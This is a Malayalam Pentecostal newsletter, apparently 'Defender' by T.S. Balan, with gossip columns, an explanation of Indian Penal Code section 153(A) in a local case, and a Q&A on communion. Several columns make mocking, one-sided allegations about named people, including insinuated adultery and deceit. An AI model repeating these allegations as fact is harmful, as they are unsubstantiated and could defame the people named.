തികച്ചും നിയമാനുസൃതമായി ചാരിറ്റബിൾ സൊസൈറ്റികളോ ട്രസ്റ്റുകളോ ഉണ്ടാക്കാനും നടത്താനും നിങ്ങൾ ആഗ്രഹിക്കുന്നുണ്ടോ? എങ്കിൽ ഡിഫെൻഡർ നിങ്ങളെ സഹായിക്കാം:
ചാരിറ്റബിൾ ട്രസ്റ്റുകൾ, സൊസൈറ്റികൾ തുടങ്ങിയവ ഉണ്ടാക്കാൻ ആവശ്യമായ മാർഗ്ഗനിർദ്ദേശം നൽകുന്നു.
ട്രസ്റ്റ് ഡീഡ്/സൊസൈറ്റിയുടെ ബൈലോ ഉണ്ടാക്കി കൊടുക്കുന്നു.
ആദായനികുതി ഇളവുകളും മറ്റും ലഭിക്കാൻ ആവശ്യമായ വിവരങ്ങൾ നൽകുന്നു.
കൂടുതൽ വിവരങ്ങൾക്ക് ബന്ധപ്പെടുക:
റ്റി.എസ്.ബാലൻ, ആനന്ദ് ഭവൻ
കെ.എസ്.ആർ.റ്റി.സിക്ക് സമീപം,
**പെരുമ്പാവൂർ പി.ഒ., എറണാകുളം. പിൻ.** 683542
ഫോൺ: **0484-3232356. Mob: 96564 32921**

# അന്തപ്പന്റെ ആദ്യഭാര്യ എവിടെ?



വിവാഹശേഷമാണ് അന്തപ്പൻ ആത്മീയതയിലേക്കു തിരിഞ്ഞത് എന്ന് ഈയിടെ അന്തപ്പൻ ഒരു കച്ചിപ്പത്രത്തിൽ എഴുതി. പക്ഷേ എത്രാമത്തെ വിവാഹശേഷം എന്നുകൂടി പറഞ്ഞിരുന്നെങ്കിൽ സംഗതി കൂടുതൽ വ്യക്തമാകുമായിരുന്നു. കാരണം, ഇപ്പോൾ പുണ്യാളൻ ചമഞ്ഞു നടക്കുന്ന അന്തപ്പൻ ആദ്യ ഭാര്യയെ ഉപേക്ഷിച്ചു രണ്ടാം കെട്ടു കെട്ടിയവനാണ്. ഇത്തരക്കാരെ പെന്തക്കോസ്തിന്റെ ഏഴയലത്തു പോലും കയറ്റാൻ പറ്റില്ല. എങ്കിലും ഡോളർ കൈവശമുള്ളവന്റെ കാലു നക്കാൻ പെന്തക്കോസ്തിൽ നിരവധി ആളുകളുള്ളതുകൊണ്ട് അന്തപ്പനും റവയായി വിലസുകയാണ്.

ഭാര്യയെ ഉപേക്ഷിക്കുന്ന വിഷയവുമായി ബന്ധപ്പെട്ട് കർത്താവായ യേശുക്രിസ്തു ഇപ്രകാരം പറഞ്ഞു: ''പരീശൻമാർ അവന്റെ അടുക്കൽ വന്ന്, ഏതു കാരണം ചൊല്ലിയും ഭാര്യയെ ഉപേക്ഷിക്കുന്നത് വിഹിതമോ എന്ന് അവനെ പരീക്ഷിച്ചു ചോദിച്ചു. അതിന് അവൻ: സൃഷ്ടിച്ചവൻ ആദിയിൽ അവരെ ആണും പെണ്ണുമായി സൃഷ്ടിച്ചു എന്നും, അതുനിമിത്തം മനുഷ്യൻ അപ്പനെയും അമ്മയെയും വിട്ടു ഭാര്യയോടു പറ്റിച്ചേരും; ഇരുവരും ഒരു ദേഹമായിത്തീരും എന്ന് അരുളിച്ചെയ്തു എന്നും നിങ്ങൾ വായിച്ചിട്ടില്ലയോ? അതുകൊണ്ട് അവർ മേലാൽ രണ്ടല്ല, ഒരു ദേഹമത്രേ; ആകയാൽ ദൈവം യോജിപ്പിച്ചതിനെ മനുഷ്യൻ വേർപിരിക്കരുത് എന്ന് ഉത്തരം പറഞ്ഞു. അവർ അവനോട്: എന്നാൽ ഉപേക്ഷണപത്രം കൊടുത്തിട്ട് അവളെ ഉപേക്ഷിക്കുവാൻ മോശെ കല്പിച്ചത് എന്ത് എന്നു ചോദിച്ചു. അവൻ അവരോട്: നിങ്ങളുടെ ഹൃദയകാഠിന്യം നിമിത്തമത്രേ ഭാര്യമാരെ ഉപേക്ഷിക്കുവാൻ മോശെ അനുവദിച്ചത്; ആദിയിൽ അങ്ങനെയല്ലായിരുന്നു. ഞാനോ നിങ്ങളോടു പറയുന്നത്: പരസംഗം നിമിത്തമല്ലാതെ ഭാര്യയെ ഉപേക്ഷിച്ചു മറ്റൊരുത്തിയെ വിവാഹം കഴിക്കുന്നവൻ വ്യഭിചാരം ചെയ്യുന്നു; ഉപേക്ഷിക്കപ്പെട്ടവളെ വിവാഹം കഴിക്കുന്നവനും വ്യഭിചാരം ചെയ്യുന്നു''.

വ്യാഖ്യാനമൊന്നും കൂടാതെ മനസ്സിലാക്കാൻ കഴിയുന്ന വാക്യങ്ങളാണിവ. ഇങ്ങനെ പറഞ്ഞത് റ്റി.എസ്.ബാലനോ ഡിഫെൻഡറോ അല്ല കർത്താവായ യേശുക്രിസ്തു തന്നെയാണ്.

വിവാഹമോചനത്തിന് ആധാരമായി ഒരു കാരണം മാത്രമേ കർത്താവായ യേശുക്രിസ്തു അനുവദിക്കുന്നുള്ളൂ: പരസംഗം, അതായത് വ്യഭിചാരം. അന്തപ്പൻ ആദ്യ ഭാര്യയെ ഉപേക്ഷിച്ചത് ആ സ്ത്രീ വ്യഭിചാരിണിയായതുകൊണ്ടാണോ? ആണെങ്കിൽ അന്തപ്പൻ ഈ വിഷയത്തിൽ തെറ്റു ചെയ്തിട്ടില്ല. മറ്റെന്തെങ്കിലും കാരണത്താലാണ് ഭാര്യയെ ഉപേക്ഷിച്ചതെങ്കിൽ അന്തപ്പൻ ഇപ്പോൾ വ്യഭിചാരത്തിലാണു ജീവിക്കുന്നത്. കാരണം, ''പരസംഗം നിമിത്തമല്ലാതെ ഭാര്യയെ ഉപേക്ഷിച്ചു മറ്റൊരുത്തിയെ വിവാഹം കഴിക്കുന്നവൻ വ്യഭിചാരം ചെയ്യുന്നു'' എന്നു കർത്താവുതന്നെ പറയുന്നു. അതുകൊണ്ട് ആദ്യ ഭാര്യയെ ഉപേക്ഷിച്ചത് എന്തു കാരണത്താലാണെന്ന് അന്തപ്പൻ വെളിപ്പെടുത്തണം.

# അമ്മാച്ചനും വിരുതനാണേ



അന്തപ്പന്റെ അമ്മാച്ചനായ പി.റ്റി.മാമ്മൻ പല കാര്യത്തിലും അന്തപ്പനേക്കാൾ വിരുതനാണ്. പക്ഷേ ഈ ചങ്ങാതി വളരെക്കാലമായി അമേരിക്കയിൽ ആയതുകൊണ്ട് വിരുതിന്റെ വീരകഥകൾ കേരളത്തിലുള്ളവർ അറിയുന്നില്ലെന്നേയുള്ളൂ. മലയാളികളുടെ ഇടയിൽ വരുമ്പോൾ ഒന്നാംതരം സമുദായക്കാരനാണ് ഇദ്ദേഹം. പക്ഷേ സായിപ്പിനെ കാണുമ്പോൾ സമുദായം മറന്നു പെന്തക്കോസ്താകും.

കുറെ വർഷങ്ങൾക്കു മുൻപു നടന്ന ഒരു കഥ പറയാം. ഒരു പെന്തക്കോസ്ത് സഭയിലെ പാസ്റ്ററായി ഇദ്ദേഹത്തെ നിയമിക്കുന്നതിനുള്ള ഇന്റർവ്യൂ നടക്കുകയാണ്. ഇന്റർവ്യൂ നടത്തുന്ന സായിപ്പൻമാർ ഒന്നാംതരം പെന്തക്കോസ്തുകാരാണ്. അവർ ഇയാളോട് ''നിങ്ങൾ അന്യഭാഷ അടയാളമായി പരിശുദ്ധാത്മസ്നാനം പ്രാപിച്ചിട്ടുണ്ടോ'' എന്നു ചോദിച്ചു. വിരുതൻ മാമ്മൻ പച്ച മലയാളത്തിൽ ''സ്വർഗ്ഗസ്ഥനായ ഞങ്ങളുടെ പിതാവേ'' എന്നൊരു പ്രാർത്ഥനയങ്ങു ചൊല്ലി. സായിപ്പൻമാർ പല വിധത്തിലുള്ള അന്യഭാഷ കേട്ടിട്ടുണ്ടെങ്കിലും ഇത്ര സ്പുടമായ അന്യഭാഷ ആദ്യമായാണു കേൾക്കുന്നത്. അതോടെ ഇന്റർവ്യൂ തീർന്നു. പി.റ്റി.മാമ്മൻ പെന്തക്കോസ്ത് പാസ്റ്ററുമായി.



കടപ്പാട്

# ഏഷ്യാനെറ്റും ദൈവികമോ?

ദൈവികമാണെങ്കിൽ നിലനിൽക്കും, മാനുഷികമാണെങ്കിൽ തർന്നുപോകും എന്നു ഗമാലിയേൽ പറഞ്ഞു. പവ്വർ വിഷൻ നാലു കൊല്ലമായിട്ടു നിലനിൽക്കുന്നത് അതു ദൈവീകമായതുകൊണ്ടാണ്. ഒ.എം.രാജുക്കുട്ടിയുടെ സിദ്ധാന്തമാണിത്. ഈയിടെ ഏഷ്യാനെറ്റ് മിഡിൽ ഈസ്റ്റ് സെന്റർ തുറന്നു സംപ്രേക്ഷണം തുടങ്ങി. കഴിഞ്ഞ പതിനേഴു വർഷം കൊണ്ട് ഏഷ്യാനെറ്റ് വളരെയധികം വളർന്നിരിക്കുന്നു. ഏഷ്യാനെറ്റ് ദൈവികമായതുകൊണ്ടാണോ ഇത്ര വളർന്നത്?

# അബദ്ധം, ആചാരം, ശാസ്ത്രം



അബദ്ധങ്ങൾ ആചാരവും ശാസ്ത്രവുമായി മാറുമെന്നാണല്ലോ കവിവചനം. പാസ്റ്റർ റ്റി.റ്റി.ജോസഫിന്റെ മൃതദേഹം കൈയ്യിൽ ബൈബിളും പിടിച്ചുകൊണ്ടു കിടക്കുന്ന ചിത്രം കണ്ടപ്പോൾ ഈ കവിവചനം ഓർമ്മവന്നു. അദ്ദേഹം കൈയ്യിൽ ബൈബിളും പിടിച്ചുകൊണ്ടു മരിച്ചതല്ലെന്നു വ്യക്തം. അങ്ങനെയെങ്കിൽ ആരോ ആ ബൈബിൾ എടുത്തു വച്ചതാണ്. ശവം സംസ്ക്കരിക്കുന്നതിനു മുൻപ് ബൈബിൾ എടുത്തുമാറ്റി എന്നാണു കേട്ടത്. ബൈബിൾ സഹിതം ശവം സംസ്ക്കരിക്കുന്ന കാലം വിദൂരമല്ല.

ശവത്തിന്റെ കൈയ്യിൽ ബൈബിൾ വച്ചതുകൊണ്ട് ആരെങ്കിലും സ്വർഗ്ഗത്തിൽ പോകുകയോ നരകത്തിൽ പോകുകയോ ചെയ്യുകയില്ല. പക്ഷേ ഇതര ക്രൈസ്തവ സമുദായങ്ങളിൽ ഉള്ളതും ഇല്ലാത്തതുമായ നിരവധി ആചാരങ്ങൾ പെന്തക്കോസ്ത് സഭകളിൽ കടന്നുകൂടുകയാണ്. പെന്തക്കോസ്ത് ശവസംസ്ക്കാര ശുശ്രൂഷകളിലെ അന്തമില്ലാത്ത ആശംസാപ്രസംഗങ്ങൾ ഉദാഹരണമായെടുക്കാം. വരുന്ന പാസ്റ്റർമാർക്കെല്ലാം കൈമടക്കു കൊടുക്കുന്നതാണ് മറ്റൊരിനം. ഇങ്ങനെ വിവിധ രൂപത്തിലും ഭാവത്തിലുമുള്ള തോന്ന്യാസങ്ങളുടെ കൂട്ടത്തിൽ ഈ ബൈബിൾ പിടിപ്പിക്കൽ ശുശ്രൂഷകൂടി സ്ഥാനം പിടിച്ചാലുള്ള പുകില് പറയേണ്ടതുമില്ല. ഇത്തരം കോക്കാംപീച്ചികൾ ഒഴിവാക്കാൻ ദൈവമക്കൾ ശ്രദ്ധിക്കണം.

# അവറാനെ കാണാനില്ല



കൺവൻഷൻ സീസണിൽ പെന്തക്കോസ്ത് പത്രങ്ങളിൽ നിറഞ്ഞു നിന്നിരുന്ന അവറാനെ ഇത്തവണ കാണാനേയില്ല. നടന്ന കൺവെൻഷനുകളെ സംബന്ധിച്ച വാർത്തകളിലോ നടക്കാൻ പോകുന്ന കൺവൻഷനുകളെക്കുറിച്ചുള്ള അറിയിപ്പുകളിലോ പരിശുദ്ധ അവറാനില്ല. പോസ്റ്ററുകളോ നോട്ടീസുകളോ പോലും ഇല്ലെന്നായിരിക്കുന്നു.

ചവർ ചാനലിലെ സ്ഥിതിയും ഇതൊക്കെത്തന്നെ. ആദ്യകാലത്ത് എല്ലാ ദിവസവും അവറാന്റെ പ്രോഗ്രാം ഉണ്ടായിരുന്നു. പിന്നീട് തിങ്കൾ മുതൽ വ്യാഴം വരെ മാത്രം എന്നാക്കി. ഏതാനും മാസങ്ങൾ കൂടി കഴിഞ്ഞപ്പോൾ ബുധൻ, വ്യാഴം ദിവസങ്ങളിൽ മാത്രമേ അവറാനുള്ളൂ എന്നതായി സ്ഥിതി. ഇപ്പോൾ അതുമില്ല. അവറാൻ നടത്തിയിരുന്ന പ്രോഗ്രാം ഇപ്പോൾ പാസ്റ്റർ കെ.ജോയിയാണു നടത്തുന്നത്. അവറാൻ രംഗത്തു നിന്ന് ഔട്ടായിരിക്കുന്നു.

# നഗ്മ വിവാഹിതയാകുന്നു



നഗ്മ വിവാഹിതയാകുന്നു. തന്റെ വിവാഹം ഈ വർഷം തന്നെ ഉണ്ടാകുമെന്നു നഗ്മ വെളിപ്പെടുത്തി. പക്ഷേ ആരാണു വരനെന്ന വിവരം രഹസ്യമാക്കി വച്ചിരിക്കയാണ്. സഹോദരിയായ ജ്യോതിക വിവാഹിതയായിട്ടും വിവാഹം കഴിക്കാതെ നിൽക്കുകയായിരുന്നു നഗ്മ. സംവിധായകനായ ദീപക്, ഭോജ്പൂരി നടൻ രവി കിഷൻ, ക്രിക്കറ്റ് താരം സൗരവ് ഗാംഗുലി തുടങ്ങി പലരുടേയും പേരുമായി ചേർത്ത് പത്രങ്ങൾ കഥകൾ മെനഞ്ഞിരുന്നെങ്കിലും ഇവരുമായി തനിക്കു ബിസിനസ്സ് ബന്ധങ്ങൾ മാത്രമേയുള്ളൂ എന്നാണ് നഗ്മ ഇപ്പോൾ പറയുന്നത്.

ഒന്നിലും ഉറച്ചു നിൽക്കാത്ത പ്രകൃതക്കാരിയാണു നഗ്മ. രാഷ്ട്രീയത്തിലും ആത്മീയത്തിലും വരെ ഇവർ ഭാഗ്യം പരീക്ഷിച്ചെങ്കിലും സിനിമയിൽത്തന്നെയാണ് ശ്രദ്ധ കേന്ദ്രീകരിച്ചിരിക്കുന്നത്. തമിഴിൽ അവസരങ്ങൾ കുറഞ്ഞപ്പോൾ അവർ ഭോജ്പൂരി ചിത്രങ്ങളിലേക്കു ചുവടു മാറ്റിയിരുന്നു. അതിനിടയിലാണ് ആത്മീയതയുമായി എത്തി വാർത്ത സൃഷ്ടിച്ചത്. കഴിഞ്ഞ കൺവെൻഷൻ സീസണിൽ നഗ്മയായിരുന്നു താരം എന്നു പറയാം. നഗ്മയേയും കൂട്ടിക്കൊണ്ട് ഒരു അമേരിക്കൻ പര്യടനം നടത്താൻ കെ. സി. ജോൺ പദ്ധതിയിട്ടിരുന്നെങ്കിലും ഡിഫെൻഡർ ഇടങ്കോലിട്ടതുകൊണ്ട് ആ പദ്ധതി പൊളിഞ്ഞു. പിന്നീട് നഗ്മയേക്കുറിച്ച് ഏറെയൊന്നും കേൾക്കാനില്ലായിരുന്നു. ഈ കൺവൻഷൻ സീസണിൽ നഗ്മയെ എഴുന്നെള്ളിച്ചു കൊണ്ടുവരാൻ ആരും തയ്യാറായുമില്ല. എങ്കിലും നഗ്മയുടെ വിവാഹം വാർത്തയായേക്കാം.

# ഐ.പി.സി. 153(A) എന്തു പറയുന്നു?

ചുങ്കപ്പാറ സംഭവം ഇതിനോടകം കുപ്രസിദ്ധി നേടിക്കഴിഞ്ഞു. പക്ഷേ ഈ പ്രശ്നത്തിൽ കേസ്സെടുക്കാൻ പോലീസ് ഉപയോഗിച്ച ഐ.പി.സി 153(A) എന്ന വകുപ്പിനേക്കുറിച്ച് ഭൂരിപക്ഷം പെന്തക്കോസ്തുകാർക്കും അറിവില്ല. പുസ്തകം എഴുതുന്നവർ മാത്രമല്ല പത്രക്കാരും പ്രസംഗകരും എല്ലാം അറിഞ്ഞിരിക്കേണ്ട വകുപ്പാണിത്. അതുകൊണ്ട് ഇതേപ്പറ്റി വിശദീകരിക്കാം:

ഐ.പി.സി എന്നത് കുമ്പനാട്ടെ ഐ.പി.സി അല്ല ഇന്ത്യൻ പീനൽ കോഡ് ആണെന്ന് പ്രാരംഭത്തിൽ തന്നെ വ്യക്തമാക്കട്ടെ. ഐ.പി.സി 153(A) വകുപ്പ് ഇപ്രകാരം പറയുന്നു:

മതം, വർഗ്ഗം, ജന്മസ്ഥലം, ഭാഷ, മുതലായവയുടെ അടിസ്ഥാനത്തിൽ വ്യത്യസ്ത സമൂഹങ്ങൾ തമ്മിൽ ശത്രുത വളർത്തുന്നതും ഐക്യത്തിന്റെ സംരക്ഷണത്തിന് വിരുദ്ധമായ പ്രവൃത്തികൾ ചെയ്യുന്നതും മൂന്നു കൊല്ലത്തോളം ആകാവുന്ന ഒരു കാലാവധിക്ക് തടവുശിക്ഷയോ പിഴയോ അല്ലെങ്കിൽ രണ്ടും കൂടിയ ശിക്ഷയോ വിധിക്കാവുന്ന കുറ്റമാണ്. (തുടർന്ന് ഈ കുറ്റത്തെക്കുറിച്ചു വിശദീകരിക്കുന്നുമുണ്ട്).

രണ്ടു വർഷത്തിൽ അധികം കാലം തടവുശിക്ഷ ലഭിക്കാവുന്ന കുറ്റങ്ങൾ സാധാരണയായി ജാമ്യം ലഭിക്കാത്ത കുറ്റങ്ങളായാണു പരിഗണിക്കപ്പെടുന്നത്. ജാമ്യം ലഭിക്കാവുന്ന കുറ്റങ്ങൾ എന്നു പറഞ്ഞാൽ പോലീസ് സ്റ്റേഷനിൽ നിന്നോ കോടതിയിൽ നിന്നോ അവകാശമെന്ന നിലക്കു ജാമ്യം ലഭിക്കാവുന്ന കുറ്റങ്ങൾ എന്നു സാമാന്യമായി പറയാം. ജാമ്യം ലഭിക്കാത്ത കുറ്റങ്ങൾക്കു പോലീസ് സ്റ്റേഷനിൽ നിന്നു ജാമ്യം ലഭിക്കുകയില്ല. അവകാശമെന്ന നിലക്കു ജാമ്യം ചോദിക്കാനുമാവില്ല. ഇത്തരം കേസ്സുകളിൽ ജാമ്യം നൽകുന്നതോ നിഷേധിക്കുന്നതോ കോടതിയുടെ വിവേചനാധികാരത്തിൽ പെട്ട കാര്യമാണ്. ചുരുക്കത്തിൽ 153(A) എന്നത് പോലീസിൽ നിന്നു ജാമ്യം ലഭിക്കാത്ത കുറ്റമാണ്. കോടതിയിൽ നിന്നു മാത്രമേ ജാമ്യം ലഭിക്കുകയുള്ളൂ. ചുങ്കപ്പാറക്കേസ്സിൽ പ്രതികൾക്ക് ഉപാധികളോടെ കോടതി ജാമ്യം അനുവദിച്ചു.

ഈ കേസ്സിന്റെ ഭാവി എന്ത് എന്നു പലരും ചോദിക്കുകയുണ്ടായി. വാദിഭാഗവുമായി ഒത്തുതീർപ്പുണ്ടാക്കി പ്രശ്നം പരിഹരിക്കാൻ കഴിയുമോ എന്നാണു മിക്കവരും ചോദിച്ചത്. ആ സാധ്യത പൂർണ്ണമായും തള്ളിക്കളയാനാവില്ല. എങ്കിലും അത് അത്ര എളുപ്പമല്ല എന്നു പറയാതെ വയ്യ. സമുദായ സംഘർഷം തകർക്കുന്ന സംഭവങ്ങൾ അവിടെ ഉണ്ടായി എന്നതു നേര്. അങ്ങനെ വരുമ്പോൾ കേസ്സ് കൊടുത്ത വ്യക്തിയല്ല സർക്കാരാണ് വാദിയായി മാറുന്നത്. കേസ്സ് കൊടുത്ത വ്യക്തി വെറും സാക്ഷി മാത്രമാകും. അതുകൊണ്ടു കേസ്സ് ഒതുക്കിത്തീർക്കാൻ ചില പ്രായോഗിക ബുദ്ധിമുട്ടുകളുണ്ട്. എങ്കിലും ആ വഴിക്ക് ഒരു ശ്രമം നടത്തുന്നതു നല്ലതാണ്. ഇരു സമുദായങ്ങളും തമ്മിലുള്ള സൗഹാർദ്ദം നിലനിർത്തുന്നതിനാകുമല്ലോ പോലീസും സർക്കാരും മുൻഗണന നൽകുക.

ഈ കേസ്സ് മുൻപോട്ടു പോയാലോ? ജാമ്യവ്യവസ്ഥയുടെ ഭാഗമായി സറണ്ടർ ചെയ്തിട്ടുള്ള പാസ്പോർട്ടുകൾ മടക്കി ലഭിക്കാതെ പ്രതികൾക്കു വിദേശത്തേക്കു പോകാനാവില്ല എന്നതാണു പ്രധാന പ്രശ്നം. പാസ്പോർട്ട് തിരികെ നൽകിയാൽ പ്രതികൾ നിയമത്തിന്റെ പിടിയിൽ നിന്നു രക്ഷപ്പെടുമെന്നു കോടതിക്കു സംശയമുണ്ടായാൽ കേസ്സ് തീരുന്നതുവരെ പാസ്പോർട്ട് പിടിച്ചു വയ്ക്കാൻ കോടതി തീരുമാനിക്കും.

കേസ്സ് എളുപ്പം തീരുമോ എന്നു ചോദിക്കുന്നവരുമുണ്ട്. കേസ്സുകൾ എത്രക്കാലം കൊണ്ടു തീരുമെന്ന് ആർക്കും പ്രവചിക്കാനാവില്ല. ഐ.പി.സി 153(A) അനുസരിച്ചുള്ള കേസ്സുകൾ അല്പം കൂടുതൽ നീളുകയും ചെയ്യും. കാരണമുണ്ട്: ക്രിമിനൽ നടപടി ക്രമം 196-ാം വകുപ്പനുസരിച്ച്, ഐ.പി.സി 153(A) വകുപ്പുപ്രകാരമുള്ള കുറ്റപത്രം സമർപ്പിക്കുന്നതിനു മുൻപ് സർക്കാരിന്റെ അനുമതി വാങ്ങണം. ചുങ്കപ്പാറ ക്കേസ്സിനും ഇതു ബാധകമാണ്. അതുകൊണ്ടു കേസ്സ് എഴുതി ശരിയാക്കിയശേഷം കേരള സർക്കാരിന്റെ അനുമതിക്കായി തിരുവനന്തപുരത്തേക്കു വിടും. അവിടെനിന്ന് മറുപടി ലഭിക്കാൻ മാസങ്ങളോ വർഷങ്ങളോ എടുക്കും. എത്രക്കാലം കഴിഞ്ഞാലും അനുമതി ലഭിക്കാതെ കേസ്സ് കോടതിയിൽ കൊടുക്കാനാവില്ല.

കേസ്സ് കോടതിയിൽ എത്തിയാൽ പ്രതികൾക്കു സമൻസ് ലഭിക്കും. ഏതാനും മാസങ്ങളോ ചില വർഷങ്ങളോ കഴിഞ്ഞ് വിചാരണ ആരംഭിക്കും. വിചാരണയും വിവിധ കാരണങ്ങളാൽ നീണ്ടു പോയെന്നു വരാം. ഒടുവിൽ വിധി വരും. പ്രതികൾ കുറ്റക്കാരല്ലെന്നു കണ്ടാൽ കോടതി പ്രതികളെ വെറുതെ വിടും. കുറ്റം തെളിഞ്ഞാൽ മൂന്നു വർഷം വരെ കഠിനതടവും പിഴയും ശിക്ഷ ലഭിക്കാം. ശിക്ഷ മൂന്നു വർഷത്തിൽ അധികമല്ലാത്തതുകൊണ്ട് ഉടൻ ജാമ്യം ലഭിക്കും. തുടർന്ന് സെഷൻസ് കോടതിയിൽ, അതായത് ജില്ലാക്കോടതിയിൽ, അപ്പീൽ കൊടുക്കാം. അങ്ങനെ സുപ്രീം കോടതി വരെ പോകാം. സുപ്രീം കോടതിയും ശിക്ഷ ശരിവച്ചാൽ ജയിലിലേക്കു പോകുകയേ നിവൃത്തിയുള്ളൂ.

നിയമത്തേക്കുറിച്ച് ഭൂരിപക്ഷം പെന്തക്കോസ്ത് പ്രസംഗകർക്കും എഴുത്തുകാർക്കും അശ്ശേഷം അറിവില്ല. അതുകൊണ്ട് അബദ്ധങ്ങളിൽ ചെന്നു ചാടുന്നു. നിയമപ്രശ്നങ്ങളിൽ സാമാന്യം ജ്ഞാനമുള്ള റ്റി.എസ്.ബാലൻ എന്ന ഈയുള്ളവൻ പോലും കള്ളക്കേസ്സുകളിൽ കുടുങ്ങിപ്പോകാറുണ്ട്. അങ്ങനെയെങ്കിൽ അല്പം പോലും നിയമപരിജ്ഞാനമില്ലാത്തവരുടെ സ്ഥിതി എന്തായിരിക്കുമെന്നു പറയേണ്ടതില്ലല്ലോ.

# ഡിഫെൻഡർ മറുപടി പറയുന്നു

? തിരുവത്താഴത്തിൽ രോഗശാന്തിയും അടങ്ങിയിരിക്കുന്നു എന്നും തിരുവത്താഴം എടുക്കുന്നതിലൂടെ രോഗശാന്തി നേടാൻ കഴിയുമെന്നും ചിലർ പ്രസംഗിക്കുന്നതു ശ്രദ്ധയിൽ പെട്ടു. ഇത് എത്രത്തോളം ശരിയാണ്?

■ ഇങ്ങനെ ദൈവവചനത്തിൽ പറയുന്നുണ്ടോ എന്നു പരിശോധിച്ചാൽ സത്യം ഗ്രഹിക്കാനാവും. ദൈവവചനത്തിൽ സാമാന്യ ജ്ഞാനമുള്ളവർക്ക് ഇതു സ്വയം പരിശോധിക്കാം.

1. കർത്താവ് ഇങ്ങനെ വാഗ്ദത്തം ചെയ്തിട്ടുണ്ടോ?
2. അപ്പോസ്തലൻമാർ തിരുവത്താഴത്തിലൂടെ രോഗശാന്തി പ്രാപിച്ചതായി ദൈവവചനത്തിൽ കാണുന്നുണ്ടോ?
3. ലേഖനങ്ങളിൽ ഈ വിധത്തിലുള്ള ഉപദേശമുണ്ടോ?

മൂന്നു ചോദ്യങ്ങൾക്കും 'ഇല്ല' എന്ന ഉത്തരം മാത്രമേ ലഭിക്കൂ. അങ്ങനെയെങ്കിൽ ഇത്തരം പ്രസംഗങ്ങൾ വചനവിരുദ്ധമാണ്.

രോഗവും തിരുവത്താഴവുമായി ബന്ധപ്പെടുത്തി പറഞ്ഞിട്ടുള്ള ഒരു വേദഭാഗം മാത്രമേ കാണാൻ കഴിയൂ. അത് ഇപ്രകാരമാണ്: ''മനുഷ്യൻ തന്നെത്താൻ ശോധന ചെയ്തിട്ടു വേണം ഈ അപ്പം തിന്നുകയും പാനപാത്രത്തിൽനിന്നു കുടിക്കുകയും ചെയ്യുവാൻ. തിന്നുകയും കുടിക്കുകയും ചെയ്യുന്നവൻ ശരീരത്തെ വിവേചിക്കാതിരുന്നാൽ തനിക്കു ശിക്ഷാവിധി തിന്നുകയും കുടിക്കുകയും ചെയ്യുന്നു. ഇതു ഹേതുവായി നിങ്ങളിൽ പലരും ബലഹീനരും രോഗികളും ആകുന്നു; അനേകരും നിദ്രകൊള്ളുന്നു.''

അയോഗ്യമായി തിരുവത്താഴത്തിൽ പങ്കെടുത്താൽ രോഗമുണ്ടായെന്നുവരാം എന്നാണു പൗലോസ് പറയുന്നത്. അങ്ങനെയെങ്കിൽ, യോഗ്യമായി പങ്കെടുത്താൽ രോഗശാന്തി ഉണ്ടാകുകയില്ലേ എന്നു ചോദിക്കുന്നവരുണ്ട്. തികച്ചും ന്യായമായ ചോദ്യം. പക്ഷേ ദൈവവചനം അങ്ങനെ പറയുന്നില്ല. നാം കണ്ടു കഴിഞ്ഞതുപോലെ, കർത്താവ് ഇങ്ങനെയൊരുകാര്യം വാഗ്ദത്തം ചെയ്തിട്ടില്ല, അപ്പോസ്തലൻമാർ പ്രാപിച്ചിട്ടില്ല, ലേഖനത്തിൽ ഉപദേശവുമില്ല. അതുകൊണ്ട് ദൈവവചനത്തിൽ അടിസ്ഥാനമില്ലാത്ത ഇത്തരം സിദ്ധാന്തങ്ങൾ അവതരിപ്പിക്കരുത്.

ദൈവവചനത്തിന്റെ പരിധിയിൽ ഒതുങ്ങി നിൽക്കാൻ മിക്കവർക്കും മനസ്സില്ല. വചനത്തിൽ അടിസ്ഥാനമില്ലാത്ത എന്തെങ്കിലുമൊക്കെ സിദ്ധാന്തങ്ങൾ അവതരിപ്പിച്ചാൽ മാത്രമേ അവർക്കു തൃപ്തിയാകൂ. തിരുവത്താഴം രാത്രിയിൽ മാത്രമേ നടത്താവൂ എന്നു ശഠിക്കുന്നവരുണ്ട്. അത്താഴം രാത്രിയിലാണല്ലോ നടത്തേണ്ടത് എന്ന ന്യായമാണ് ഇവർ പറയുന്നത്. അത്താഴം കഴിക്കുന്നതിനിടയിലാണ് കർത്താവ് അപ്പം നുറുക്കി ശിഷ്യർക്കു കൊടുത്തത്. അതുകൊണ്ട് ഈ ശുശ്രൂഷയെ തിരുവത്താഴം എന്നു വിളിക്കുന്നു എന്നേയുള്ളൂ. ഇത് എന്നെന്നും അത്താഴമാണെന്നും അതുകൊണ്ടു രാത്രിയിൽ മാത്രമേ നടത്താവൂ എന്നും ദൈവവചനം പറയുന്നില്ല. രാത്രിയിൽ മാത്രമേ അപ്പം നുറുക്കൽ നടത്താവൂ എന്നു ദൈവാത്മാവിനു നിർബ്ബന്ധമുണ്ടായിരുന്നെങ്കിൽ അപ്പോസ്തലൻമാരോട് ഇങ്ങനെ കല്പിക്കുമായിരുന്നു. ലേഖനങ്ങളിൽ ഇതേപ്പറ്റി നിർദ്ദേശം നൽകുകയും ചെയ്യുമായിരുന്നു.

തിരുവത്താഴം എടുക്കുന്ന ദിവസം ഉപവസിക്കണമെന്നു ശഠിക്കുന്നവരുണ്ട്. എല്ലാ ഞായറാഴ്ചയും തിരുവത്താഴം നടത്തണമെന്നാണു മറ്റു ചിലരുടെ സിദ്ധാന്തം. ഞായറാഴ്ച മാത്രമേ തിരുവത്താഴം നടത്താവൂ എന്നു നിർബ്ബന്ധം പിടിക്കുന്നവരുമുണ്ട്. ''നിങ്ങൾ കൂടിവരുമ്പോഴൊക്കേയും ഇതു ചെയ്‌വിൻ'' എന്നൊരു വാക്യം ഉണ്ടാക്കിയ വിരുതൻമാരുമുണ്ട്. ഓർഡിനേഷൻ ലഭിച്ച പാസ്റ്റർമാർ മാത്രമേ തിരുവത്താഴം നടത്താവൂ എന്നു വചനത്തിൽ എവിടെയോ എഴുതിവച്ചിട്ടുണ്ടെന്നു ഭൂരിപക്ഷം പെന്തക്കോസ്തുകാരും കരുതുന്നു. ഇങ്ങനെ സിദ്ധാന്തങ്ങൾ നിരവധി.

